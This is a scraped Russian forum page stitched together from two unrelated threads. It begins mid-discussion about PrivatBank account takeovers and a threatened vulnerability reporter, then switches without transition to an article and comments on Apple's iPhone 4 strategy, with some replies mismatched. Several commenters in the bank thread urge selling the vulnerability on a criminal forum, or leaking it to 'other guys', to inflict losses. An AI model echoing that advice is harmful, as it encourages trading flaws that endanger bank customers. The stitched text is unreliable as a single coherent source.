Малый имея карту и пин к ней, прошел новую регистрацию в приват24 и этим самим все мои счета стали его счетами. Да да, и это тоже VIP статус.

Сотрудники банка сказали только «Любой кто имеет Вашу карту может сменить любые Ваши данные и получить доступ ко всем счетам».

В Вашем случае, Ваша бывшая скорее всего поступила таким же путем. У нее случайно не было одной из Ваших карт? Если была… Выводы делайте сами…
BeLove
Каждые два года выпускалась новая карта. К текущим картам доступа она не имела как и к телефону, без которого не получить по идеи доступ к приват24. старые карты может и нашла гдето, но они закрывались вроде как по времени, ведь даже я не мог получить по ним информацию в приват24.

И еще важен момент VIP статус клиента. Да допустим она могла прийти в банк с моими данными как жона, типа муж уехал или заболел и в больнице… но ведь по словам GOLD операторов, никто не может получить доступ к вашим счетам без вас. Вот и получается, что пришла в банк, уговорила сотрудника/сотрудницу, и получили доступ к счетам и заменили все данные, не имея карты и телефона на руках. По сути это уголовка, насколько я слышал. Н кто будет этим заниматься если сам банк морозится. А даже имея все доказательства, чтобы доказать нужно горы свернуть, вот и получается, и банку похрен на клиентов и страна такая что никто не отвечает и наказать нету возможности.
politehnik
ведь написал «GOLD операторы» они и обслуживают сейчас VIP клиентов, в центральном банка есть отдел для VIP и GOLD. а в мелких филиалах только GOLD который и обслуживает и тех и других. Также мои слова о VIP это не самомнение, а реальность, потому как мне пришлось писать заявление чтобы сняли статус VIP и закрыли счета. Негоже вот так, с бодуна обвинять человека в тупости.
ZonD80
Видимо из-за того что Вас обслуживают Gold операторы Ваши данные и открыты.
У меня однажды была ситуация, сломал основную карту. Другие карты в другом городе, а нужна была срочно карта что бы рассчитаться в нескольких магазинах и снял наличные. На дворе суббота. Пошел в центральное отделение. Мне не смогли выдать даже миттеву или любую другую кредитку так как к моей информации никто не имеет доступа кроме менеджера.

При любых банковских операциях (если их делает не ваш менеджер) ему звонят, и просят доступ к вашим данным.
zapimir
При мне была ситуация, попросил распечатку со своего счета, сказали что мою карту не видят почемуто, попросили подождать, связались в чате толи в скайпе с кемто, только потом смогли выдать информацию. Но при этом всетаки фиксировали, кто когда и что просил. Значит при желании можно легко узнать, кто когда и как получил доступ к счетам. Вот только им это не выгодно.
VolCh
Как-то ПриватБанк сам себе противоречит. «Изъян в системе, который он нашел, не является страшным» — если не страшно то он и не хакер и не такой уж крутой специалист. Чего стразу: «Он хакер. В тюрьму! », ну нашел там что-то, все равно ихняя система безопасности все словит. Таких хакеров в школах и институтах хоть пруд пруди, всех в тюрьму? А если «Нужно понимать, что он хакер. В цивилизованных странах это уже преступление» то таки наверно ссыкотно стало
ColorPrint
Ну, версию «потерпевшей стороны» я прочел, как и все, с возмущением и сочувствием. Классика жанра, глупый большой обижает маленького, при этом последний обязательно хороший персонаж ;-) Маленький защищаясь (от чего? обвинения предъявлены? номер дела?) начал информационную войну, взяв в союзники автора статьи — бывшего тестировщика привата (уже подозрительно). Чем ответит приват? Ждем официальную версию!
vertuozzo
Не уверен, что официальная версия == правдивая версия.
Lipski
Лишнее подтверждение давно известной истины — не имейте никакого дела с Приват-банком, не держите там деньги, не делайте переводы, не берите кредиты — короче не пользуйтесь их услугами. Если не хотите проблем.
vertuozzo
Иногда особой альтернативы нет.
xel
истина!

На мое мнение, все идут в привет изза его популярности, довольно удобно когда банкомат на каждом углу, и не придется платить больший процент за снятие через другой банк. Таже система приват24 пока лидер на рынке.
Но опыт за много лет показал что все, что связано с ПРИВЕТ банком, выводит из равновесия:
— банкоманыт везде, но большую часть времени они глючат, снимают деньги и не выдают наличку, забирают карты и не выдают. и такое происходит массово по всюду, а люди неделями бегают потом по банкам.
— их терминалы везде, но сколько сталкивался, именно терминалы превет-банк аи не работают зачастую, постоянно проводили или чрез Аваль или через другие, спрашивал, говорили что постоянно нету связи или не работают.
— самые огромные и длинные очередя это в ПРЕВЕТ банке. я уже даже не помню где еще видел очереди кроме как в превете.
— узнайте фамилии владельцев филиалов привет банка и обалдеете, когда столкнулся то был шокирован, почти все филиалы, то цигане то армяне и т.д., т.е. кто попало, стоит задуматься.

— в кризис когда все рухнуло, привет тупо вжарил и ограбил пол украины, знаю лично людей которые не могли снять деньги с депозитов, а банк им предлагал откат, типа возьмите 2т вместо 10т и радуйтесь или не получите ничего. Люди были рады и 2т взять потому как был риск потерять все. И такое было массово, т.е. в наглую кинули людей и им за это ничего не было. Ведь люди сами подписывали отказ.
Lipski
Кто такие КПИшники?
qrick
Студенты Киевского Политехнического Института
xel
Раз Приватбанк такой УГ, надо было уязвимость продать на тематическом форуме, анк бы понес многомиллиардные убытки.
IhorL
Состав статьи:
45% — лого привата
45% — копипаст в цитате
5% — копипаст прямой речи
5% — вода от автора
L3n1n
Зато 146% комментариев.
IhorL
Речь об этом посте или о статье по ссылке?
L3n1n
О посте
IhorL
Походу, служба безопасности отводит фокус внимания от того факта, что у них осталась копия модифицированного кода (%.
L3n1n
Сколько уже было статей на эту тему, и все они укладываются в тезисы:
1. Кто-то нашел уязвимость, баг, дыру.
2. Сообщил об этом владельцу.
3. Этому «кто-то» потом вместо спасибо вваливают люлей.

Вывод: не надо ни о чем сообщать.
IhorL
Вывод: сообщать, но не владельцев ресурса, а «других ребят» — и ресурсу урок и все остальные в доходе
iboobel
Идеальный следующий шаг для специалиста:
1. Написать полностью аналогичное письмо в Нац. Банк. С полным изложением всех деталей, скриншотами и т.п. С пометкой «комерційна таємниця».
2. Отправить его копии в СБУ, прокуратуру, ДСТЗИ.

Естественно все письма — заказные с уведомлением о вручении.
После этого:
1. Факт злого умысла «установит» разве что Печерский суд Киева (или Индустриальный Днепропетровска).
2. Нац. Банк будет вынужден дать им 10 дней на устранение уязвимости, после чего — ограничение деятельности и запрет на применение электронного банкинга.

Приват, конечно, воспользуется коррупционными схемами для ухода от ответственности, но им будет дешевле принести извинения нашедшему уязвимость специалисту, выложив текст билетами Федеральной Резервной Службы США.
sudoers
С какой стати после этого банку ему будет платить?
YAAP
По решению суда.
fog
За что?
VolCh
За порчу репутации. Это в случае если банк таки решит заявить о «преступлении».
IhorL
Данная ситуация еще раз доказывает что существование ПриватБанка всего лишь жалкое недоразумение.
Tomasina
Интересно, о чем умалчивают изложения событий в версии от банка и от программиста. Есть шанс, что там были какие-то переговоры о награждении, которые ни к чему не привели, а банк потом взял и надавил.
shifttstas
Сегодня нашел мелкую уязвимость в сервисе Приват24, сообщил через официальную форму, посмотрим что будет :)
Как всегда после каждой презентации компании с 1 Infinite Loop интернет заполняется «белым шумом», состоящим как из восторженных воплей, так и из криков ненависти.

Как обычно, основная масса интернет-аудитории концентрируется на том, что им кажется самым главным — на мегапикелях, на процессоре, на многозадачности. И все упускают то, о чем Джобс говорит чуть ли не прямым текстом:

  • Retina Display + iBooks vs. Amazon + Kindle/Barnes&Noble + Nook/...
  • 1 млрд долларов vs. Android Marketplace.
  • FaceTime vs. Skype
  • Гироскоп vs. Nintendo DS/Sony PSP


Те, кто еще не понял, прошу под кат



Retina Display + iBooks + eBay vs. Amazon + Kindle/Barnes&Noble + Nook/...

В течение презентации Джобс сообщает массу интересной информации, которую достаточно просто объединить и сделать выводы.

1. iBooks + iBookStore

На данный момент продано около 5 миллионов книг, по 2,5 на каждый iPad. Казалось бы — ну и что? Если взять на веру слова Джобса, окажется, что эти книги уже составляют 22% от (полагаю, электронных) книг, продаваемых четырьмя крупнейшими издательствами в Штатах.

22% за восемь недель жизни iPad'а. Если тенденция сохранится, то Apple с легкостью захватит если не бóльшую, то внушительную часть рынка электронных книг. Учитывая, что за последние два года этот рнок рос, как на дрожжах (176%) и грозит достичь 500 миллионов долларов в 2010-м году, этот кусок очень лакомый.

2. iPad

За восемь недель Apple продали 2 миллиона iPad'ов. Amazon изо всех сил скрывает данные по продажам Kindle'а, но считается что всего, за два года существования этой читалки, их было продано… 3 миллиона единиц.

При этом Amazon занимает 60% американского рынка е-читалок. Неутешительное сравнение для лидера, ообенно учитывая неожиданную(?) популярность iBookStore.

3. Журналы

Помимо возможности читать книги, многие читалки также рекламируют возможность читать любимые журналы и газеты (например).

Здесь, в принципе, и говорить не о чем. Достаточно увидеть демонстрацию журнала Wired для iPad'а (по ссылке 5 видеороликов, советую просмотреть все).

4. Retina Display.

Недаром Джобс в самом начале, и достаточно долго говорит именно о буквах и отображении текста. Недаром первое, что он показывает — это страница онлайн-издания с текстом (а не фотографиями). Недаром он говорит о том, что человеческий глаз различает не более 300 точек на дюм при том, что экран в новом айфоне — 326 точек на дюйм.

Все это сводится к простому предложению: «мы даем вам прекрасную альтернативу e-ink'у». И очень прозрачно читается намек: ждите этот экран на iPad'ах в следующем году.

Во время презентации четвертого айфона Безос (президент Амазона) должен был пить корвалол лошадиными дозами. Ничего даже близко похожего Амазон пока не предлагает. А если бы и предложил, против них играет следующий пункт.

1 млрд долларов vs. Android Marketplace

Эта часть презентации должна была заставить сердца разработчиков забиться сильней. «Мы выплатили разработчикам приложений в AppStore около 1 миллиарда долларов».

Это — прямой удар по Android Marketplace. Многие разработчики (и особенно — разработчики игр) жалуются на невозможность заработать хоть сколько значимые деньги на андроиде. Действительно, политика «мы вернем деньги за приложение за 24 часа» радует пользователей, но сильно бьет по многим разработчикам. И Apple прекрасно это осознает.

Миллиард долларов всем и никто не уйдет обиженый. Кто же откажется от возможности ухватить этот кусок пирога?

FaceTime vs. Skype

«Фи. Только Wi-Fi. Только iPhone4 с iPhone4. Как можно это гуано называть инновацией?» Так примерно описывают видеозвонки яблофобы.

Но давайте посмотрим эту презентацию буквально на минуту больше и посмотрим, что на самом деле предлагает Джобс. А он предлагает, ни много ни мало, стандартизировать протокол FaceTime. Он предлагает сделать его открытым стандартом и говорит о том, что он уже основан на известных, доступных и открытых стандартах (то, что он называет «алфавитной кашей» в презентации).

То есть годик-другой и, глядишь, начнем общаться Android <-> iPhone и никто слова против не скажет. Apple'у осталось договориться с ОПСОС'ами насчет 3G. Да и проникновения FaceTime'а на десктопы тоже, возможно, только вопрос времени.

Гироскоп vs. Nintendo DS/Sony PSP


Когда вышел iPhone с акселерометром, он тоже был «не нужен». Оказалось, что не только нужен, но и во всю используется в различных приложениях и — главное! — в играх.

На презентации iPhoneOS 4 Джобс показал любопытный слайд:



Только вдумайтесь в эти цифры.

В мире продано около 50 миллионов айфонов, около 60 миллионов PSP и около 129 миллионов Nintendo DS. iPhone (а теперь и iPad) стали прямыми конкурентами мобильным игровым приставкам. При этом они предлагают дополнительные возможности по сравнению с ними — акселерометр, а теперь еще и гироскоп.

iPhone и iPad, безусловно, уступают специализированному процессору той же PSP, но Apple перетягивает на себя одеяло казуальных игр, рынок которых может достигнуть 13 миллиардов долларов

Ну и что?

За всеми спорами о мегапикселях, многозадачности, скорости процессоров, железе в корпусе и т.п. спорщики не видят самого главного. Apple (пусть и на время) не собирается устраивать технических революций. По большому счету она их никогда и не устраивала (все, что показывает Apple или было реализовано до них или было известно десятилетиями — см. multitouch).

Apple поступает по-другому. Они предлагают удобный в использовании продукт, которые не только формирует новый рынок («таблетки»/планшеты), но и вторгается в другие рынки (электронные книги, казуальные игры, до этого — с айподом — музыкальный рынок). При этом они умудряются сделать это легко, ненапряжно, и только наращивая темпы сбыта продуктов и захвата новых ниш.

Именно это должно интересовать нас, как разработчиков и пользователей, а не технические спецификации устройств, которые и так похожи друг на друга, как близнецы-братья. Вот что эти устройства позволяют своим компаниям сделать — это уже очень и очень интересный вопрос.
Awake
Хорошо написали и по делу. Написали то, о чём многие думают, но не могут сформулировать
LongeryatKO
Поддержу, отличный текст!
Политика Apple в очередной раз неизменна…
chupvl
Для маркетологов, как известно, припасено отдельно место в аду. :)
BigD
У них свой iAd…
TerrorDroid
они и его продадут!
Vitvitsky
Лучше посмертно.
phgrey
Особенно согласен насчет дисплея — именно это и заставляет меня рассматривать возможность смены своего 3G на новый. Хотя у нас как обычно задерут цены, видимо, придется все же заказывать.
Enuriru
Дисплей заставил меня понять, что я не хочу новый iPad, а хочу iPad следующего года :)
dmitriid
Мне не нравится айпад тем, что я не могу использовать его как более-менее самостоятельное устройство. Хочу свободную работу с файлами :) И USB. Чтобы я мог вытащить его из сумки, воткнуть флешку, и скопировать с нее нужное.
Enuriru
Ну, мне надо просто поваляться с книжкой и ютубом на диване, так что я напрямую попадаю в целевую аудиторию :)
dmitriid
Тоже говорит моя жена :) И при этом она не смотрит рекламу, не читает новости и форумы — ей нужен простой доступ Интернет. Коплю ей на iPad, а пока замена — iPhone.
LongeryatKO
А мужики-то и не знали: www.apple.com/ipad/features/youtube.html
Plotogon
Потому что там не Flash. Перед выходом еще первого айфона Apple договорился, что специально для них Youtube конвертнет все видео в H.264. Вот так и стримят.

Учитывая, что на айфон/айпад еще и нетфликс придет. ММммм… В Штатах жизнь интересная.
dmitriid
netflix пришел с релизом айпада.
Plotogon
специально для них Youtube конвертнет все видео в H.264

<зануда>YouTube во Flash и так в h.264</зануда>
akorobko
кстати и вконтакте видео в H.264 конвертнули недавно
akral
я вкурсе но разговор то о ютубе, а не о хтмл5
dmitriid
Сорри. Действительно :)
TerrorDroid
Да ну? А это тогда что? :)
FeNUMe
пользуйтесь облачными хранилищами. например dropbox. я своей флэшкой практически не пользуюсь теперь. тем не менее надо же что-то оставить для 5 или 4.1 версии ios :-)
dmitriid
Эх, если бы все пользовались дропбоксом :)
FeNUMe
:-) так пусть вам присылают файлы по почте. а вы их уже в дропбокс складывайте. а оттуда открывайте в любой проге на айпаде. такое вроде возможно уже в 3.2 и будет возможно в 4.0.
dmitriid
Это все хорошо, но обходные пути. А хотелось-то чтобы работало с чем есть. Эппл конечно хорошо делает, пытаясь на айфонах/айпадах нас «отучить» от понятия файл (и работаая с «контентом»), но это как-то не по мне все же.
TerrorDroid
ну от дискет тоже не сразу все отучились :-) всему свое время.
don_vladimir
Apple отказалась от дискет еще в 1999-м вроде. Тогда тоже хай стоял :)
artsiom
:-) поэтому я и думаю, что эпл более чем знает, что делает. и фин.отчеты это подтверждают. и да, эпл умеет слушать своих ользователей, но от прошлогоотказывается смело :-)
Enuriru
вот, вы как раз озвучили причину, по которой я жду массового заполонения рынка «аналогами айпада» на андроиде, от наших китайских и не очень братьев.

уж там всё будет разлочено и доступно. по хорошему, уже и сейчас есть, но непривлекательные технические характеристики убивают желание покупки.
artsiom
пользуюсь. есть за 29$ camera connection kit

туда отлично вставляется не только SD карточка с киношкой или фотками, но и внешний винт. софтина в сидии есть.
Enuriru
Кому нужна работа с файлами? Ненавижу работу с файлами!
Мне нужна работа с контентом, а не со всякими расширениями, свойствами, разрешениями…
Чёрт побери, файл как контейнер информации не должен пересекаться с пользователем!
Когда уже все эти умники, пишущие ОСи это поймут?
artsiom
простите за хаотическую пунктуацию, на эмоциях написано
dmitriid
Кстати, сегодняшнего вечернего секса не хочу. А хочу того который мне обещали через полгодика. Говорят, будет круче ;)
artsiom
Если полгода подождать, то действительно будет круче :))
nuzgul
А с появлением FaceTime у него наверняка будет и фронтальная камера.
dmmb
Софт был готов, вот скриншоты из айпад-симулятора:

kimifish
Я думаю, что люди в Apple понимали, что спрос на iPad и так будет колоссальным даже без камеры. Так что наверное просто не хотели выкладывать все козыри сразу.
Зато в следующем поколении появится революционная! возможность записи видео, что сильно подстегнет спрос на этот продукт.
grossu
При тех же 130 пикселях/см, как у iPhone4, 9.7" экран следующего iPad должен иметь разрешение 2560*1920. Что-то мне подсказывает, что на мобильном устройстве такого достичь не получится.
TheMengzor
Будем надеяться, что у низ в кармане джокер :)
LbICbIY
Да-да, ждём iLawsOfPhysics, не иначе!
M1KE3
скорее всего сделают FullHD, тоже красивая цифра. К тому времени и железо/аккумуляторы подоспеют.
yul
Думаю, как и в айфоне, умножат на два.
2048x1536 вполне.
maq
Матрицу-то сделают. А вот рендерить плавную анимацию в таком разрешении мобильный процессор способен?
maq
Несколько лет назад, я думаю, то же самое сказали бы про экран 960x640.
M1KE3
Думаю через годик вполне потянет Full HD, тем более всегда можно переложить часть работы на графический процессор который вполне влезет в iPad.
belk
Всегда так и считал: айфон — платформа для захвата большей части рынка, а не телефон, как поначалу думали. )
dmitriid
Kindle, по моему, уродство. Я присматривался к нему, но желанию купить не возникло. Его максимальная цена – 20 зелёных. Это уровень чёрно–белого телевизора в эпоху цветных.

Касательно протокола FaceTime и десктопов: FaceTime по протоколам очень близок и iChat, что делает возможности коммуникации с десктопами весьма реальной.

Поспорю с:

> Apple (пусть и на время) не собирается устраивать технических революций. По большому счету она их никогда и не устраивала

USB, помнится, первым внедрили именно они, да и от флопиков они отказались первыми. Революция – это не гениальное изобретение, а его внедрение. С этой точки зрения у Эпла как раз сплошные революции.

А вот это, по моему, самое главное:

> Apple… предлагают удобный в использовании продукт, которые не только формирует новый рынок ..., но и вторгается в другие рынки… При этом они умудряются сделать это легко, ненапряжно, и только наращивая темпы сбыта продуктов и захвата новых ниш.

А ещё дополню: изредка проигрывая конкурентам отдельные битвы, Эпл всегда у конкурентов выигрывает войну в целом. Почему? Да потому что проиграть одно сражение – это ерунда по сравнению с выигрыванием многих остальных. Интегрально продукты Эпл предоставляют то, чем продукты конкурентов похвастаться не могут, не смотря ни на какие потуги. Именно в этом сила Эпла. Больше памяти у кого-то? Да ради бога. Зато у Эпла куча приложений, лучший в мире магазин, бесплатные лёгкие обновления и масса чего ещё. Именно поэтому Эпл всех и побеждает: комплексностью подхода.
Chamie
>… Эпл всегда у конкурентов выигрывает войну в целом.
так уж и всегда ;)
yul
«Kindle, по моему, уродство. Я присматривался к нему, но желанию купить не возникло. Его максимальная цена – 20 зелёных. Это уровень чёрно–белого телевизора в эпоху цветных.»

У Kindle есть преимущество — электронные чернила. Не надо говорить, что это уродство, это просто другое. Я, к примеру, не люблю читать с экрана монитора, поэтому iPad как устройство для чтения книг для меня неприемлем, в отличие, например, от Kindle.
maq
Возможно, я погорячился, извините. У чернил есть большой плюс: не жрут батарейку. Ну и кому-то нравится их читать. Я попробовал – не моё…
belk
Не пробовал, это верно. Но не ожидаю существенных отличий в восприятии от иных виденных мною LCD/LED экранов. Ну не нравится мне напрягать глаза для чтения, и так целый день за компьютером.
А вот e-ink — дело другое. Ради его плюсов (дешевле книги, места занимают меньше) я готов перейти на электронную литературу.
Долгая перерисовка? Для чтения и не нужно. Если рассматривать e-ink иключительно как книгу для чтения (а не поиска технической информации, к примеру, когда нужно, чтобы побыстрее всё работало), то я минусов не вижу.
maq
«Долгая перерисовка? Для чтения и не нужно»
зато нужно дял листания, иногда хочется пролистать книгу (например техническую), а не читать от корки до корки.
Fenniks
«Если рассматривать e-ink иключительно как книгу для чтения (а не поиска технической информации, к примеру, когда нужно, чтобы побыстрее всё работало)» ;-)

Что касается меня, то читаю я подряд (по крайней мере, в пределах главы). Обычно художественную литературу, реже — техническую для погружения в предмет.
А когда нужно полистать или найти что-либо, то это происходит не просто так, а во время работы, т. е. когда я за компьютером. И в этом случае не нужны никакие посторонние устройства, будь то iPad или e-ink: гораздо удобнее посмотреть справочник или погуглить на компе.

Впрочем, конечно, это исключительно мои сценарии использования, на вкус и цвет фломастеры разные, но я думаю, многие разделяют моё мнение. Видимо, они и покупают Kindle :)
GummyBear
ну не скажите. Электронную книгу можно заряжать раз в месяц, она весит меньше, она втыкается как флешка, она стоит существенно дешевле.
dulepov
Ёмаё, это разные устройства. Расскажите что лучше велосипед или пассатижи? Оба металлические, ага.

В чём может быть неудобство использования ебуков я не понимаю. Включил — читаешь — выключил. Всё.

например:
PocketBook 360°
цена 9 990 руб
Вес 146 г
работа от батареи — 8000 страниц
USB MassStorage — есть

iPad
Цена 28 700 руб.
Вес 680 г
работа от батареи — 10 часов
USB MassStorage — нет

Они не пересекаются вообще ни в одной категории.

Вроде как цветной ink уже на подходе.
iAmGeorge
Вы можете по пунктам перечислить чем интерфейс ебуков хуже чем интерфейс iPad'ов в области чтения книг? Только, пожалуйста, без тёплого лампового звука, а…

edelweard
Скорость обновления экрана. Критично не для всех, конечно. У меня просто сто страниц в час на художественной литературе и полусекундные задержки раздражают.

Правда, у меня Hanlin V3, может сейчас ситуация улучшилась, не знаю — я полностью на айфон перешел :)
dulepov
Вы какой-то прям монстр, под 0.1кБ/с считываете. Но всё же это не массовое явление.
wasia
Ага :) Люблю пугать/удивлять знакомых :)

На самом деле под скорость обновления экрана можно подстроиться психологически, но общая заторможенность, связанная именно с перерисовкой эрана в меню, например, списках книг, напрягает слегка. Хоцца быстрее :)
edelweard
Поймите, Apple оперирует понятиями пользовательского опыта, а не функционала.

То есть, КАК устройство производит операции гораздо важнее, чем то, ЧТО именно оно производит.

Плавность анимации, антиалиасинг, блестящая типографика, продуманность и простота интерфейса для неспециалистов, отсутствие тех. подробностей(файлы, папки и прочая непонятная фигня), подстветка, цвета в интерфейсе, etc
banzalik
В конце третьего квартала посмотрите на данные Gartner по продажам eBook и поднимите этот топик. ;)
edelweard
ink экраны, пожалуй, самые прожерлевые на рынке
давайте представим, что нет проблемы с отрисовкой и он умеет моментально нарисовать картинку
предположим, я решил на нем посомтреть фильм:
8000 страниц\24 кадра в секунду= почти 6 минут видео

более того, я не удивлюсь, что медленная отрисовка — это фича, которая сделана специально, что б такие как я не умудрились посадить устройста за 6 МИНУТ работы — это ОГРОМНОЕ энергопотребление, да он можеть показывать одну картинку месяц, но это совсем не значит, что экран — экономичен

да это не устройство для посмортра фильмов, но даже если они сделают быстрою отрисовку при прежнем энергопотреблении — это устройство бесперспективно
ivlis
Признайтесь, вы маркетолог? :) Только они так могут жонглировать цифрами.

Люди не читают 25 страниц в секунду! Книга тратит энергию только при изменении, которое происходит только один раз. А LCD тратит энергию непрерывно. Так что потребление книги надо делить на время затрачиваемое на прочтение страницы.
wasia
если уж речь зашла про цифры, то мы сейчас сравниваем одну из ста функций Ipad и единственное возможное применение электронных читалок, что не совсем честно по отношению к iPad :)
ivlis
Потому что надо смотреть физику процесса перерисовки. В eInk вы перелистнули страницу, гранулы черные в полости изменили свое положение под действием электрического разряда, грубо говоря. Все. Дальше энергия не расходуется вообще (ну не считая естественной просадки батарии даже без нагрузки вообще). У Ipad и вообще всех экранов такого типа — энергия расходуется постоянно, на поддержание светимости экрана, грубо говоря.

Экономичность eInk надо мерить не в том, сколько кадров видео можно отрисовать. А сколько книг можно прочитать от корки до корки на еинке (подчеркиваю — независимо от скорости чтения читающего!), это около 10 толстых книг, и сколько можно прочитать на iPad'e.
wasia
Думаю, что мама то как раз и выберет eBook после дня использования, потому что он в три раза легче. А текст на обоих выглядит одинаково.
ivlis
Да, вес это единственное реальное преимущество eBook
dmitriid
«ограничения в виде отсутствия подсветки»
Вы, наверное, не поняли, но это преимущество.
Из-за этого ее и можно читать как обычную книгу, т.е. в отраженном свете, что полезнее для глаз.
ivlis
А вот и не угадали, с удовольствием завел бы себе еще один монитор на eInk, если бы он:
1) существовал
2) скорость обновления была б хотя бы 10 кадров в секунду
3) Кол-во оттенков серого — хотя бы 64.

Я программист, и мне бы для работы этого хватило, а для полноцветной и быстрой графики можно второй монитор использовать.

Кстати, вполне возможно это ниша, которая не занята только по технологическим причинам.

И да, меня волнует полезность для глаз.
dmitriid
Прототипы будущей бумаги уже куда быстрее 10 кадров в секунду, да и цветов больше. Когда эти модели бумаги перестанут быть прототипами нас ждет просто безумное количество «незанятых ниш» — от настенных обой и до мониторов.
wasia
Про обои тоже думал, если eInk научатся дешево струйно печатать больших площадей, да еще и гибким, то понятие «умный дом» преобразится визуально.
ivlis
У меня вообще с трудом в голове укладываются подобные перспективы. Зачем нужен монитор, когда стена может быть монитором, зачем нужно рабочее место, если любое место в доме может мгновенно стать «рабочим», зачем нужно нести с собой из одной комнаты в другую iPad, когда экран может ползти перед тобой по стенам… Я далеко не фантаст, но даже от этих фантазий у меня сносит голову, а что уж придумают профессионалы, даже страшно представить :)
wasia
Ну… Стена все же по качеству будет не так хороша, да и обои не подразумевают быстрого обновления…
Но время, погоду, какую-то инфоленту вполне смогут отображать.
banzalik
Вы сейчас говорите о вероятном, но весьма отдаленном будущем. А айпад есть уже сейчас. И именно это главное преимущество. В то время, когда остальные только анонсируют свои планшеты или демонстрируют прототипы, Apple продала более миллиона iPad. iPad уверенными темпами заполняет огромную нишу. Остальные производители так и остаются догоняющими.
ivlis
Да это конечно будущее, но просто в контексте того, что «заменять ЖК на электронную бумагу мы все же жаждим» :)

А так, я уже пользуюсь электронной книгой три года, а iPad ко мне сегодня как раз приедет по идее, что впрочем не заставит меня перестать пользоваться своей ебукой для задач чтения книг.
banzalik
А эти устройства (ebook) и не претендуют на широкий диапазон применения. Это небольшой рынок, где ~3 миллиона проданных книг за 2 года у Amazon'а на мой взгляд являются отличным результатом. Вот сейчас я заказал и жду себе iPad, но электронная бумага так и останется электронной бумагой и никакой iPad мне ее не заменит.
Zorkus
Но это всего лишь электронная книга, некорректно как-то целиком сравнивать, скажем так, многофункциональное устройство, включающее в себя функции читалки и, собственно, читалку отдельно, особенно по ценам.
banzalik
Любое устройство с экраном позволяет читать книги. Я видел как какой-то мужик в метро читал книгу с навигатора.
Plotogon
Тут недавно был калькулятор с возможностью записи в него текста. Одно дело возможность, а другое удобство пользователя.
wasia
Я и сам читал. Любой приличный современный навигатор с экраном 4.3+ и стоимостью от 4-5к поддерживает чтение книг.
dmbreaker
война еще не закончилась…
wasia
Судя по соседним топикам, совсем неочевидное :)
dmbreaker
Возможно) спасибо за статью
CLR
*покраснел и засмущался*
dmbreaker
Всё правильно. Apple, идёт по пути голубого океана, то есть создание и закрепление в новых нишах без конкуренции. Samsung наоборот, исключительно методичное выдавливание конкурентов из алых океанов.

Понимая это будет проще понять действия Apple и революционность нововведений.

Добавлю:
-Гироскоп это миникивок в сторону Wii и Project Natal. Следующая Apple TV вполне может получить функции игровой приставки. Что же будет контроллером? iPhone или iPod Touch.
-Данные по доли Apple в продаже книг пока невалидны, многие это уже отметили, стоит подождать квартала и увидеть полную картину. Но суть это не меняет.
-eРидеры и eInk мертвы
-Apple может разрешить публикацию музыки или книг в iTunes для продаж частными лицами. Это прибьёт бизнес лейблов и издателей.
-Конечно же Apple не стала использовать Skype для видео звонков — это же сторонние API. Стандартный UMTS звонок убог, и неудобен для пользователя. Ограничения по Wi-Fi понятны связаны с нежеланием окончательно добить сеть AT&T.
CLR
> Следующая Apple TV вполне может получить функции игровой приставки. Что же будет контроллером? iPhone или iPod Touch.

процитирую отсюда (там вся ветка достаточно интересна)

"… В результате ваш телевизор опутан проводами, а вы обкладываете себя пультами дистанционного управления. Единственный способ изменить ситуацию – снабдить ресивер удобным интерфейсом и перенести его от телевизора прямо к пользователю». По мнению Джобса, именно этого пользователям не хватает."

Беспроводной видеолинк до телевизора — меняет расклад. Если любой iPad, iPod, или iPhone сможет без геморроя транслировать контент в телевизор — приставки нафиг не нужны. Как и сам телевизор.

А для доступа в сеть «через телевизор» достаточно клонировать экран iPad на экране телевизора. Тогда цель будет достигнута минимальными затратами — функция телека будет только в том, чтобы показать контент группе людей. И проблема управления решается сама собой. Заодно — презентации станет удобно делать.

Джобс, безусловно, крут. Его хрен угадаешь. Единственный минус такого решения — у его могут внезапно сесть батарейки.
dmbreaker
Собственно дело за малым, Wi-Fi в телеки да поддержка uPnP.

Или та самая AppleTV
jaykay
Вся политика Apple основывается на простых истинах. Цель — не столько придумать что-то принципиально новое, а привнести это в массы, проработать до такой степени, чтобы не к чему было придраться.
CLR
Немного не так. Цель Apple — решать проблемы обычных людей, а не создавать прикольные ништяки для гиков.
CLR
Массы = рядовые пользователи = «обычные» люди :)
Makaveli
Совсем не так. Цель Apple — заработать как можно больше денег.
ivlis
И это тоже. Что в этом плохого?
Disturbed
Да ничего. Просто высказывания про решение проблем человечества не верны, а многие в эти высказывания свято верят.
Zorkus
Да не бывает у компаний только одной цели. С целью тупо заработать денег ничего не заработаешь.
bromium
Деньги — главная цель. Все остальное средства их заработка. Так у любого бизнеса. Не было бы денег — не было бы ничего (это я про продукты эпла).

Это не плохо, просто очень часто Apple облачают в платье доброй монашки. И вот это уже плохо.
vitio
Да какая монашка. Все понимают что цель делать деньги. Вопрос в том, чтоб было не обидно платить. :) И в этом плане у Apple очень хорошая стратегия (да, цель тут не совсем верное слово).
dmitriid
Как говорил, кажется, Рокфеллер, «Вы никогда не станете богатым, если „стать богатым“ — это ваша единственная цель в жизни».
vitio
Понимаешь, можно тупо делать деньги, а можно одновременно и улучшать жизнь людей. Apple предпочитает делать и то и другое, за что их и боготворят и ненавидят примерно в равной пропорции
dmitriid
Да я согласен. Просто помимо Эпла мою жизнь улучшают еще много кто: Microsoft, Nintendo, производитель вкусного йогурта и т.д.

Но тут дело в том, что именно Эпл отхватывает львиную долю восторженных возгласов. А мне вот за производителя йогурта обидно :)
wasia
>>книг в iTunes для продаж частными лицам

Уже сделано.
dmitriid
То есть, я, как частное лицо владеющее правами на некий роман-эпопею, могу выложить его в BookStore, установить свою цену и грести лопаткой профит?
wasia
да. если только у вас есть всякие американские номера налоговые. ну вообщем как и в продаже программ. права и возможности у владельца авторских прав такие же. и выводятся деньги также.
selcrit
vitamin
-Apple может разрешить публикацию музыки или книг в iTunes для продаж частными лицами. Это прибьёт бизнес лейблов и издателей.
Искренне на это надеюсь. И авторам будет лучше, и покупателям дешевле. И покупатели к тому же будут знать, что прибыль идет автору, а не десятку нахлебников.
selcrit
Эппл в любом случае заберет меньше чем лейблы, и это по крайней мере будет прозрачно.
DeeoniS
lol. Apple предоставит платформу для распространения, точно так же как они сделали с AppStore.
p.s.
покорпи :3
vitamin
Я так понимаю, что «лейблы» — это тоже «платформа для распространения», только из каменного века.
DeeoniS
мне кажется любая компания желает захватить рынок, так что тут ничего удивительного…
а статья да, хорошая.
vitamin
> Как бэ — не альтернативу никаким местом, т.к. e-ink работает сильно по-другому не требуя энергии

